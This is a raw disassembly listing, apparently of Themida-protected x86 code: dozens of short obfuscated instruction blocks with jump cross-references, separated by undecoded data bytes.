		dd 77CBDFFh, 0F5817127h, 71270778h, 565DEB01h, 4BEh, 8BF30100h
		dd 0C4812434h, 4, 0E9241C87h, 0FFFF2355h
; ---------------------------------------------------------------------------


loc_570B7C:				; CODE XREF: Themida_:00570AF6j
		push	esp
		jmp	loc_56B3E2
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 7A793F9Ch, 0FFF77AE9h, 2434FFFFh, 0E389535Dh, 0FFF8C3E9h
		dd 5EF031FFh, 0E901332Dh, 0E9D8F72Eh, 291Eh, 4C481h, 7E680000h
		dd 89000012h, 89502434h, 405E0h, 42D0000h, 0E9000000h
		dd 0FFFF27C0h, 65F68158h, 535C5C2Eh, 0E64E98BBh, 5BDE29C6h
		dd 348BF789h, 4C48324h,	0FF75DCE9h, 0E9E630FFh,	0FFFF2274h
		dd 4245C29h, 4246C81h, 24427ACEh, 2434FF5Bh, 0E5B4E958h
		dd 0FE29FFFFh, 6DEDEE81h, 5D5F07D7h, 4BB53h, 0BA520000h
		dd 2CAD006Eh, 148BD601h, 4C48324h, 7618C681h, 0DE012101h
		dd 7618EE81h, 0EE812101h, 2CAD006Eh, 50241C8Bh,	0B951E089h
		dd 5A8A57E5h, 8107E9C1h, 0B514ABF1h, 0CD6FE900h, 0EC83FFFFh
		dd 24348904h, 182D9B68h, 2434FF7Bh, 4C4815Eh, 83000000h
		dd 48904ECh, 5A966824h,	34890000h, 7BB95124h, 8157CE3Ch
		dd 0A51FD5F1h, 0D171E94Fh, 0C381FFFFh, 4, 8704C383h, 8F5C241Ch
		dd 0CEE92404h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570C97:				; CODE XREF: Themida_:0056B580j
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 74FF5304h, 8F5B0424h, 505C2404h
		dd 33DB85B8h, 58C589F3h, 777FED81h, 0C501660Ah,	1D96E9h
		dd 0C0BE5600h, 0F7255437h, 31E681D6h, 8102E402h, 0C50116C6h
		dd 0E9F13130h, 0FFFFA34Ah
; ---------------------------------------------------------------------------


loc_570CE4:				; CODE XREF: Themida_:00570EEBj
		push	ecx
		mov	ch, dh
		mov	bh, ch
		pop	ecx
		pop	edx
		push	edx
		mov	dh, 0BEh
		dec	dh
		xor	dh, 0F1h
		or	dh, 35h
		jmp	loc_56A446
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 74FF5700h, 8F5F0424h, 248B2404h, 0B30F6624h, 0E99C2404h
		dd 0FFFEDDB9h
; ---------------------------------------------------------------------------


loc_570D18:				; CODE XREF: Themida_:00569B6Bj
		add	esi, edx
		pop	edx
		xor	eax, esi
		pop	esi
		shl	eax, 8
		sub	eax, 5F280892h
		push	ebx
		mov	ebx, 57525A58h
		shr	ebx, 6
		sub	ebx, 0C897405Fh
		or	eax, ebx
		mov	ebx, [esp]
		jmp	loc_56C03C
; ---------------------------------------------------------------------------


loc_570D3F:				; CODE XREF: Themida_:0056F45Cj
		mov	ebp, 0
		jmp	loc_5693B4
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 0FF062EE9h, 243C89FFh, 676BB53h, 0D3F72379h,	1AF1EB81h
		dd 77E924AEh, 87FFFFC9h, 895C2434h, 8157242Ch, 4ECh, 24348900h
		dd 3AAEB951h, 1BE7440h,	1D42AE4h, 0B1BF59CEh, 55486B1Eh
		dd 5237CEBDh, 56EF8154h, 2968AA00h, 56C781EFh, 8B68AA00h
		dd 0DCE9242Ch, 6800002Bh, 6DFBh, 53243489h, 0FEF89AE9h
		dd 242C89FFh, 6B536852h, 425A6F78h, 29EEE9h, 247C0100h
		dd 24448104h, 513A3704h, 243C8B3Ah, 0FF04C483h,	685E2434h
		dd 58DFh, 0E9240C89h, 0FFFF8B14h
; ---------------------------------------------------------------------------


loc_570DE8:				; CODE XREF: Themida_:0055EEF1j
		add	eax, 7D527399h
		jmp	loc_571017
; ---------------------------------------------------------------------------


loc_570DF2:				; CODE XREF: Themida_:005607DEj
		mov	ebx, 3EDD1409h
		jmp	loc_56425D
; ---------------------------------------------------------------------------
aSpMFsx		db 'SP°¬·”éX+',0
		db 0
; ---------------------------------------------------------------------------


loc_570E07:				; CODE XREF: Themida_:0056A421j
		pop	eax
		and	eax, ebp
		mov	ebp, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 2667E6Fh
		xor	eax, 79560930h
		shr	eax, 3
		sub	eax, 0D437267h
		xor	eax, 3E76506Bh
		or	eax, 61FD6181h
		push	edi
		mov	edi, 61F6A28h
		neg	edi
		shr	edi, 1
		jmp	loc_56D032
; ---------------------------------------------------------------------------


loc_570E42:				; CODE XREF: Themida_:0056B512j
		pop	eax
		jmp	loc_5627C0
; ---------------------------------------------------------------------------


loc_570E48:				; CODE XREF: Themida_:00573C30j
		push	ebp
		mov	ebp, 5DFE67D7h
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_566194
; ---------------------------------------------------------------------------
		dd 4BDh, 246C0100h, 0E10FE904h,	0ED81FFFFh, 4, 2474FF55h
		dd 242C8B04h, 0A38E9h, 81EB0100h, 5C7002EBh, 0C3815D1Eh
		dd 2, 267E68h, 241C8900h, 42474FFh, 24048F5Bh, 0E924248Bh
		dd 0FFFFE8D0h
; ---------------------------------------------------------------------------


loc_570EA0:				; CODE XREF: Themida_:0056FFF0j
		xor	edx, 83B6AFAh
		neg	edx
		or	edx, 47CB453Dh
		inc	edx
		xor	edx, 0CFEF4584h
		push	ebx
		mov	ebx, edx
		mov	esi, ebx
		pop	ebx
		pop	edx
		add	ebx, esi
		jmp	loc_564205
; ---------------------------------------------------------------------------


loc_570EC3:				; CODE XREF: Themida_:0056C73Dj
		sub	edi, 4EBD2EF8h
		add	edi, 0E2FE2D7Ah
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, ebx
		jmp	loc_5713C3
; ---------------------------------------------------------------------------
		dw 6855h
		dd 3BF706A8h, 742BE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570EEA:				; CODE XREF: Themida_:00573E95j
		pop	edx
		jmp	loc_570CE4
; ---------------------------------------------------------------------------
		dd 0F7240CFFh, 815F2414h, 0F588C1EFh, 8BFA3182h, 0F1E9243Ch
		dd 0C1FFFF58h, 0BD5507E2h, 0FFD1A304h, 15DEA01h, 5A042454h
		dd 592434FFh, 4C481h, 0C1810000h, 4, 4C181h, 0C330000h
		dd 240C3124h, 5C240C33h, 0FFB413E9h, 773ABEFFh,	0F2294C94h
		dd 26C3815Eh, 0E969D410h, 789h,	0B72EA2BAh, 5AD53133h
		dd 0FF8C13E9h, 0AA80B9FFh, 3CE9C9A6h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570F67:				; CODE XREF: Themida_:0056684Bj
		add	edi, 4
		jmp	loc_5730AB
; ---------------------------------------------------------------------------
		dw 0E2D1h
		dd 0FFC3E956h, 3C33FFFFh, 0EF50E924h, 0C281FFFFh, 0DAC6A9Bh
		dd 0F7E9D789h, 89FFFEF9h, 0D682434h, 89000068h,	4812424h
		dd 424h, 24348B00h, 8104C483h, 4C6h, 4BA5200h, 1000000h
		dd 34335AD6h, 1A8DE924h, 3489FFFFh, 6EE95424h, 5F000002h
		dd 0FF11EFE9h, 8BD901FFh, 75E9241Ch, 0B1FFFF61h, 8E1C080h
		dd 0FF074CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570FE1:				; CODE XREF: Themida_:005692F2j
		add	esi, eax
		add	esi, 67B432E4h
		add	esi, 18C86E56h
		jmp	loc_56C729
; ---------------------------------------------------------------------------


loc_570FF4:				; CODE XREF: Themida_:0056C400j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56568A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0EC835124h, 24248904h, 4240483h, 51240C8Bh, 0BDE9E189h
		db 0DBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571017:				; CODE XREF: Themida_:00570DEDj
		sub	eax, ebx
		sub	eax, 7D527399h
		push	ecx
		jmp	loc_56307F
; ---------------------------------------------------------------------------


loc_571024:				; CODE XREF: Themida_:0055F26Aj
		mov	esi, [esp]
		jmp	loc_56B2A6
; ---------------------------------------------------------------------------
		dd 0C5FEB81h, 0DD8959B1h, 15E5815Bh, 81016248h,	99F61EF5h
		dd 5DEA31C0h, 148BD301h, 4C48324h, 1C8BD821h, 61956824h
		dd 14890000h, 81E28924h, 4C2h, 8602E900h, 1431FFFFh, 24143324h
		dd 6FBC685Ch, 1C890000h, 1C8B5424h, 4C48324h, 0FE685257h
		dd 5A003235h, 0F705EAC1h, 35EA81DAh, 89DC041Dh,	5211E9D7h
		dd 0FF56FFFFh, 5E042474h, 8B24048Fh, 1C892424h,	62096824h
		dd 0E95B4547h, 0DF9h
; ---------------------------------------------------------------------------


loc_5710B0:				; CODE XREF: Themida_:0056F508j
		mov	ebp, 48222FEEh
		add	ebp, 6052203Dh
		add	ebp, 5DA5086Dh
		jmp	loc_56BD76
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 241C8B24h, 81E38953h, 4C3h, 4C38100h, 87000000h, 815C241Ch
		dd 4C4h, 31FB3100h, 81FB31DFh, 4ECh, 243C8900h,	5F2414F7h
		dd 0DF31FB31h, 15E9FB31h, 0FFFFFF47h, 34FF2434h, 240C8B24h
		dd 4EC81h, 2BE90000h, 5CFFFF19h, 1D4CED81h, 0EF89FA35h
		dd 0E9EF875Dh, 0FFFF1195h, 5F2434FFh, 8F04C483h, 248B2404h
		dd 71556824h, 34890000h, 2DB95124h, 132FD34h, 5904244Ch
		dd 5BA525Fh, 3116F11Bh,	706E9DAh, 0AEBAFFFFh, 6811D353h
		dd 0
		dd 0E9241429h, 0FFFEDA2Ch, 36EB685Ah, 0C890000h, 2474FF24h
		dd 240C8B04h, 4C481h, 48F0000h,	4AE95C24h, 83FFFED9h, 0C3304C4h
		dd 240C3124h, 5C240C33h, 8B24048Fh, 88512424h, 2C07E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5711A2:				; CODE XREF: Themida_:00571DDDj
		xor	eax, ecx
		jmp	loc_56503E
; ---------------------------------------------------------------------------


loc_5711A9:				; CODE XREF: Themida_:0056BB21j
		add	eax, ebp
		jmp	loc_5735F6
; ---------------------------------------------------------------------------
		dd 0F34C7ABDh, 5DE82945h, 3C66E12Dh, 33E95F7Ch
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5711C3:				; CODE XREF: Themida_:0056A0CDj
		push	edx
		mov	edx, 10543BC9h
		xor	edx, 5883272Fh
		not	edx
		jmp	loc_567581
; ---------------------------------------------------------------------------
		dw 2BAh
		dd 1000000h, 24148BD7h,	0FF74EBE9h, 0C8B66FFh, 0FDAFE924h
		dd 0EEC1FFFEh, 0F68105h, 89302D89h, 0C6BF5EF0h,	81CD52FDh
		dd 500C9C7h, 81C70108h,	500C9EFh, 2434FF08h, 4C48158h
		dd 81000000h, 1A0F9FEDh, 53FD014Ch, 0FF224FE9h,	240489FFh
		dd 0EC83E089h, 24148904h, 0FFE6FDE9h, 89E95EFFh, 57FFFF30h
		dd 420E7BBFh, 5FF88903h, 6C0DBD55h, 87E90CFBh, 5CFFFF89h
		dd 0C8AF0F66h, 0E99C5166h, 0FFFED875h, 139D6866h, 24048966h
		dd 0FED868E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571269:				; CODE XREF: Themida_:0056FCE1j
		and	ecx, ebp
		pop	ebp
		jmp	loc_564F7D
; ---------------------------------------------------------------------------


loc_571271:				; CODE XREF: Themida_:00562E41j
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_56176B
; ---------------------------------------------------------------------------


loc_57127F:				; CODE XREF: Themida_:00564570j
		sub	esp, 4
		mov	[esp], ebp
		not	dword ptr [esp]
		jmp	loc_56FF15
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFEEA4Ah
; ---------------------------------------------------------------------------


loc_571298:				; CODE XREF: Themida_:005661D2j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56957B
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704C1h, 0C4835C24h, 1F91E904h, 3489FFFFh,	36DDE924h
		dd 792DFFFFh, 0FF4FAE03h, 815D2434h, 4C4h, 1DA36800h, 0C890000h
		dd 0D356E924h, 5C01FFFFh, 0D4E90424h, 5FFFFFD2h, 31240C33h
		dd 0C33240Ch, 8156E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5712EE:				; CODE XREF: Themida_:0057142Dj
		mov	edi, [esp]
		add	esp, 4
		shl	ebp, 4
		push	esi
		mov	esi, 7443724Bh
		sub	ebp, esi
		pop	esi
		jmp	loc_571432
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 0FF3EC5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57130D:				; CODE XREF: Themida_:00562B69j
		mov	eax, 41E60A58h
		sub	edx, eax
		pop	eax
		sub	edx, 2FE963D2h
		add	edx, ebx
		add	edx, 2FE963D2h
		push	ebp
		jmp	loc_57190C
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 5A1EE953h, 0C201FFFFh, 4B52C281h, 48B06FAh, 0E2895224h
		dd 4C281h, 0C2830000h, 24148704h, 2C2815Ch, 33000000h
		dd 14312414h, 24143324h, 2024248Bh, 0E99C2404h,	0FFFED769h
		dd 42474FFh, 0FEE1AFE9h, 4895CFFh, 463BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57137A:				; CODE XREF: Themida_:0056DCA5j
		pop	esp
		mov	[esp], edi
		push	41B0h
		mov	[esp], ebp
		push	71CA7298h
		pop	ebp
		and	ebp, 5EC367BFh
		jmp	loc_56F1EC
; ---------------------------------------------------------------------------


loc_571397:				; CODE XREF: Themida_:0056C1B6j
		mov	al, 0A1h
		dec	al
		add	al, 5Ch
		jmp	loc_569C60
; ---------------------------------------------------------------------------


loc_5713A2:				; CODE XREF: Themida_:005674ADj
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56FD8D
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0E389241Ch, 0EEBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5713BD:				; CODE XREF: Themida_:0056B840j
		pop	edi
		jmp	loc_567C17
; ---------------------------------------------------------------------------


loc_5713C3:				; CODE XREF: Themida_:00570ED9j
		pop	ebx
		and	eax, ebp
		jmp	loc_564005
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9621A68h, 0FFFF947Ah, 0E9241C89h, 0FFFFF3BEh
; ---------------------------------------------------------------------------


loc_5713DC:				; CODE XREF: Themida_:005607C6j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_569A70
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 242C3124h, 0FF0BCBE9h, 8E8C1FFh, 0FF9999E9h,	242C8BFFh
		dd 0FF649AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571409:				; CODE XREF: Themida_:0056ADECj
		pop	edi
		push	ebp
		mov	ebp, 3091530Fh
		or	ebp, 74D8197Fh
		push	edi
		mov	edi, 55C62DDBh
		shr	edi, 3
		add	edi, 63AE5F94h
		add	edi, 0F9883789h
		xor	ebp, edi
		jmp	loc_5712EE
; ---------------------------------------------------------------------------


loc_571432:				; CODE XREF: Themida_:00571300j
		or	ebp, 65857734h
		sub	ebp, 0FF9D7F31h
		jmp	loc_56006E
; ---------------------------------------------------------------------------
		db 31h
		dd 0E9042474h, 0FFFF7EEBh, 0B7CCE95Ah, 0C05BFFFFh, 0C98004E9h
		dd 80C9FEADh, 74E919F1h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571463:				; CODE XREF: Themida_:005675AEj
		inc	ebp
		neg	ebp
		shl	ebp, 2
		shl	ebp, 1
		add	ebp, 29E3E854h
		jmp	loc_56DECA
; ---------------------------------------------------------------------------


loc_571476:				; CODE XREF: Themida_:00564649j
		pop	ecx
		add	esp, 4
		push	ebp
		jmp	loc_563730
; ---------------------------------------------------------------------------


loc_571480:				; CODE XREF: Themida_:0056DF1Fj
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	[esp+4], eax
		jmp	loc_572E88
; ---------------------------------------------------------------------------


loc_571495:				; CODE XREF: Themida_:0056CBEBj
		or	ebx, 0C762AC3h
		jmp	loc_5681A6
; ---------------------------------------------------------------------------
		dd 0D9F623B1h, 800BF180h, 0C828ADC1h, 0BCE0E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5714B2:				; CODE XREF: Themida_:0056193Dj
		shl	edi, 3
		jmp	loc_56681E
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 0E9FE0897h, 0FFFF3BE8h, 33243431h, 0E95C2434h, 0FFFFAE3Bh
; ---------------------------------------------------------------------------


loc_5714D0:				; CODE XREF: Themida_:0056B3FCj
		add	esi, 1
		jmp	loc_56E367
; ---------------------------------------------------------------------------
		dd 0FED5F4E9h, 242C81FFh, 753D1406h, 0FFAC7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5714E9:				; CODE XREF: Themida_:0056F124j
		pop	ecx
		jmp	loc_5705F4
; ---------------------------------------------------------------------------
		db 0D2h
		dd 0E99C2424h, 0FFFED5D9h, 0E82864B0h, 0FF4623E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571501:				; CODE XREF: Themida_:0056B0CDj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		not	dword ptr [esp]
		jmp	loc_5659C7
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0A3682404h, 89000056h, 0E0892404h, 0FF6743E9h, 54535CFFh
		dd 83241C8Bh, 0C38104C4h, 4, 3FB468h, 24148900h, 3B4E6FBAh
		dd 82B85011h, 0D122A37Bh, 1E992E8h
		db 0EAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57154F:				; CODE XREF: Themida_:005686CBj
		xchg	edx, edi
		shr	edi, 5
		jmp	loc_56119E
; ---------------------------------------------------------------------------


loc_571559:				; CODE XREF: Themida_:0056229Fj
		push	edx
		mov	edx, 29181A7Ch
		sub	edi, edx
		pop	edx
		add	eax, edi
		pop	edi
		push	2D28h
		mov	[esp], edx
		push	1000000h
		mov	edx, [esp]
		push	edi
		jmp	loc_571D16
; ---------------------------------------------------------------------------
		db 1
		dd 0EE8959CDh, 0FEE1CFE9h, 0A5CE81FFh, 0E95A1612h, 0FFFFB47Ah
		dd 5B54535Ah, 0FF3F8EE9h, 54BA52FFh, 5667B057h,	0C26FF1BEh
		dd 2474295Ch, 0D1E95E08h, 81FFFFECh, 42404h, 83580000h
		dd 2C8904ECh, 0BC685724h, 5F306114h, 7387E947h,	4BAFFFFh
		dd 81000000h, 0EA04246Ch, 1577846h, 81042454h, 0EA042444h
		dd 5A577846h, 4C5815Dh,	0E9000000h, 0FFFEFB46h,	231D0566h
		dd 26172D66h, 66D80166h, 0E9261705h, 0FFFF992Eh, 5AD1005Ah
		dd 5966C800h, 8904EC83h, 0C8B62414h, 4FE9CD2Ch,	31FFFFA0h
		dd 14332414h, 0A33E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571626:				; CODE XREF: Themida_:005667C2j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5681CD
; ---------------------------------------------------------------------------


loc_571634:				; CODE XREF: Themida_:0055F196j
		pop	esp
		jmp	loc_56B15B
; ---------------------------------------------------------------------------
		dw 5266h
		dd 0AEB05066h, 5866C688h, 8B66F028h, 0C4812414h, 2, 141F68h
		dd 241C8900h, 3E95150h,	5FFFFA2h, 37B09953h, 0FFF19AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571669:				; CODE XREF: Themida_:0056DFB3j
		sub	edi, edx
		pop	edx
		shr	edi, 4
		dec	edi
		push	ebp
		mov	ebp, 720440E0h
		shl	ebp, 7
		or	ebp, 24AB3BECh
		jmp	loc_56C26A
; ---------------------------------------------------------------------------
		dd 8304C483h, 348904ECh, 2F9EBE24h, 0F6814FF7h,	0B019CFBEh
		dd 575EF701h, 0DF1EE95Bh, 8952FFFFh, 0E95E52FAh, 0FFFF92F0h
		dd 27F0EA81h, 0E95E53C8h, 8EDh
; ---------------------------------------------------------------------------


loc_5716B8:				; CODE XREF: Themida_:0056352Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------


loc_5716C8:				; CODE XREF: Themida_:00562C55j
		xor	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5725B8
; ---------------------------------------------------------------------------
		db 1, 0D3h, 81h
		dd 0D41026EBh, 24148B69h, 5104C483h, 4B9h, 59CB0100h, 5C241C87h
		dd 582434FFh, 15D5E950h, 815BFFFFh, 822995EFh, 0D8C78172h
		dd 117C12Dh, 0D8EF81F7h, 8117C12Dh, 822995C7h, 2434FF72h
		dd 4C4815Eh, 83000000h,	0FF5704C7h, 0FF042474h,	815F2434h
		dd 4C4h, 24048F00h, 0FF24248Bh,	0C8E92434h, 5FFFFF2Ah
		dd 9FE9C531h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_57174B:				; CODE XREF: Themida_:00568A7Bj
		pop	ebx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55EF94
; ---------------------------------------------------------------------------


loc_57175A:				; CODE XREF: Themida_:00573D91j
		sub	edi, 6CA23BF2h
		sub	edi, 32152ACAh
		jmp	loc_564359
; ---------------------------------------------------------------------------
		db 31h
		dd 2434FFCFh, 4C48159h,	83000000h, 3C8904ECh, 242C8124h
		dd 12454934h, 0E5BF575Ah, 81737043h, 1EFh, 19BB5300h, 0F75BB33Eh
		dd 0C38143DBh, 0BCE848E8h, 8CE9DF31h, 81FFFEF8h, 116621F7h
		dd 2C78168h, 89B4F614h,	0E5815FFDh, 8EC7322h, 5EB1C581h
		dd 79E932BFh
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5717C7:				; CODE XREF: Themida_:0056079Ej
		sub	ebx, 27D74BAh
		add	[ebx], ebp
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	ecx
		push	esp
		jmp	loc_573A0D
; ---------------------------------------------------------------------------


loc_5717E2:				; CODE XREF: Themida_:0056D493j
		pop	eax
		add	ebp, edx
		pop	edx
		jmp	loc_568C4D
; ---------------------------------------------------------------------------
		db 33h
		dd 0D1E92434h, 8BFFFFFCh, 0C4832414h, 0E0F1E904h, 1C89FFFFh
		dd 50C78824h, 149DE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57180A:				; CODE XREF: Themida_:00567E01j
		pop	bx
		mov	di, [esp]
		push	12CFh
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	loc_5688DF
; ---------------------------------------------------------------------------


loc_57182F:				; CODE XREF: Themida_:00567490j
		add	eax, 24ECB604h
		mov	edi, eax
		pop	eax
		and	edi, 4EB31F71h
		xchg	edx, edi
		jmp	loc_5686C9
; ---------------------------------------------------------------------------


loc_571844:				; CODE XREF: Themida_:0056CEABj
		mov	ecx, 2E004984h
		add	edi, ecx
		pop	ecx
		jmp	loc_5607D2
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FF1730E9h, 0D3E953FFh, 1FFFF45h, 0CCE981D1h, 5A71F307h
		dd 0FED5D8E9h, 4C483FFh, 8B24048Fh, 0F7662424h,	0AA6866E9h
		dd 1489664Eh, 268CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_571886:				; CODE XREF: Themida_:0056C28Fj
		add	ecx, esi
		pop	esi
		jmp	loc_56CDEC
; ---------------------------------------------------------------------------


loc_57188E:				; CODE XREF: Themida_:0056DBBBj
		inc	ebp
		and	ebp, 65A5F13h
		xor	ebp, 0E6CFE3D8h
		jmp	loc_56266B
; ---------------------------------------------------------------------------


loc_5718A0:				; CODE XREF: Themida_:0056EFE4j
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_573CFE
; ---------------------------------------------------------------------------
		dd 0FED220E9h, 4C481FFh, 8F000000h, 248B2404h, 242C8924h
		dd 272ABA52h, 0CABD7D06h, 29C17FCFh, 0BB535AD5h, 51C740C3h
		dd 8105EBC1h, 1E3943EBh, 2E3C144h, 0FF14EBE9h, 4C381FFh
		dd 81000000h, 4C3h, 241C8700h, 4EC815Ch, 89000000h, 0EC812404h
		dd 4, 0E9242C89h, 613h
; ---------------------------------------------------------------------------


loc_57190C:				; CODE XREF: Themida_:00571324j
		mov	ebp, 2B535985h
		add	ebp, 1692B0D3h
		add	edx, ebp
		pop	ebp
		jmp	loc_56C7F0
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 0DD5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57192A:				; CODE XREF: Themida_:0056758Aj
		pop	edx
		jmp	loc_5678C2
; ---------------------------------------------------------------------------


loc_571930:				; CODE XREF: Themida_:005736EEj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	2A9Dh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_564562
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 24D32424h, 6AE99C24h
		db 0D1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571967:				; CODE XREF: Themida_:00562089j
		add	edi, ecx
		sub	edi, 46213CA4h
		add	edi, 4D286444h
		jmp	loc_568E3F
; ---------------------------------------------------------------------------
		dw 68h
		dd 0E9000000h, 0FFFEF58Bh, 5C243487h, 3AC5C581h, 0B6E9661Fh
		dd 89FFFFD0h, 74FF240Ch, 0C8B0424h, 4C48124h, 8F000000h
		dd 248B2404h, 0FD686624h, 14896652h, 4EC8324h, 68241C89h
		dd 38E2h, 0FFE3FCE9h, 685F66FFh, 2398h,	52243C89h, 783DBA66h
		dd 0E9D78966h, 0FFFF64FFh
; ---------------------------------------------------------------------------


loc_5719D8:				; CODE XREF: Themida_:00565297j
		sub	ebx, edi
		sub	ebx, 81D7C58h
		push	dword ptr [esp]
		pop	edi
		push	ebp
		push	esp
		jmp	loc_56203E
; ---------------------------------------------------------------------------
		db 58h
		dd 75EBE56h, 0BD55706Bh, 2A571D3Fh, 1E8DE94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5719FE:				; CODE XREF: Themida_:00560D8Aj
		pop	ebx


loc_5719FF:				; CODE XREF: Themida_:00561B28j
		push	5DDBh
		mov	[esp], edi
		push	ebx
		pop	edi
		push	4633h
		mov	[esp], edi
		jmp	loc_55F016
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 55E38924h, 4BDh, 9CBD5500h, 816D9207h, 0B01366EDh, 7E5C15Bh
		dd 0C581EDD1h, 0B9CA70BAh, 15DEB29h, 0D9CE9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_571A42:				; CODE XREF: Themida_:0056FBCFj
		push	ecx
		mov	cl, 58h
		neg	cl
		not	cl
		jmp	loc_56F6ED
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 1AE9243Ch, 0FFFFFF64h, 669D1C77h, 14D36659h,	6AE99C24h
		dd 0BAFFFED0h, 9CBE59D8h, 295AD631h, 9A09E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571A76:				; CODE XREF: Themida_:0056E190j
		xor	eax, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_56057D
; ---------------------------------------------------------------------------
		db 81h
		dd 4D3857EFh, 0BCC78103h, 81348D6Eh, 0DD052BC7h, 3C33590Ah
		dd 243C3124h, 8B243C33h, 34FF2424h, 2434FF24h, 98E95258h
		dd 80FFFF16h, 0CB307AEBh, 0FEF36DE9h, 4E981FFh,	87000000h
		dd 895C240Ch, 4832424h,	48F0424h, 24048324h, 24348B04h
		dd 81E68956h, 4C6h, 4C68300h, 8B243487h, 3682424h, 8900002Ch
		dd 0BA52243Ch, 25FA69A8h, 0FA69ACBFh, 8BD73125h, 89522414h
		dd 4C281E2h, 83000000h,	77E904C2h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571B0F:				; CODE XREF: Themida_:0056BA5Cj
		add	edx, 3FA6723Bh
		add	edx, esi
		jmp	loc_560036
; ---------------------------------------------------------------------------
		dd 0F281CA87h, 1E8B493Dh, 0D0C9EA81h, 0D5892981h, 5EF5315Ah
		dd 46E9BB53h, 91E908D2h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571B3B:				; CODE XREF: Themida_:00572E47j
		sub	dword ptr [esp+4], 300C443Dh
		add	[esp+4], ebp
		add	dword ptr [esp+4], 300C443Dh
		jmp	loc_565632
; ---------------------------------------------------------------------------
		dd 5DEA015Bh, 2D5AD001h, 43DB5345h, 2E6FE955h, 34FFFFFFh
		dd 24348187h, 46CE4479h, 8B2434FFh, 0C4832404h,	0B3E95504h
		db 0D2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571B7F:				; CODE XREF: Themida_:00564E68j
		add	esp, 4
		add	esp, 4
		jmp	loc_57335C
; ---------------------------------------------------------------------------


